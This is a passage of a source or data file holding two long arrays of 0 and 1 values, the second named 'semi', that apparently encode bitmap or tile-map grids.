0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,
0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,
0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,
1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,
0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,
0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,
0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,
1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,
0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,
0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,
0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
0,1,1,1,1,1,0,1,1,1,1,1,0,0,1,0,
0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,
0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,
1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,
1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,
1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,
1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,
0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,
1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,
1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,
0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,
0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,
1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,
0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,1,
0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,
1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,
1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,
0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,
0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,
1,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,
1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,
1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,1,
0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,
0,0,1,1,1,1,0,0,0,1,1,1,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
1,1,1,0,1,1,1,0,1,0,0,1,0,1,1,1,
1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,
1,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1,
0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,
0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,
1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,
1,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1,
0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,
0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,
1,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,
0,1,0,1,0,0,1,0,0,1,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,
1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,1,
0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,
0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
1,1,1,1,1,0,1,0,1,1,0,1,0,1,0,0,
1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,
1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,
0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,
0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,
1,0,1,0,0,0,0,1,1,0,0,1,0,1,1,0,
0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,
1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,
0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,0,
0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,
0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,
1,1,0,0,0,0,1,1,1,0,0,1,1,1,1,0,
0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,
0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,
1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,1,
0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,
1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,
0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,
0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,
1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,
1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,
0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,0,
0,0,1,1,1,1,0,0,0,1,1,1,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,
1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,
1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,
1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,
1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,
0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,
1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,
0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,
1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,
0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
0,1,0,1,0,1,1,1,0,1,0,0,1,0,1,1,
0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,
0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,
1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,
1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,
1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,
0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
]
semi = [
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
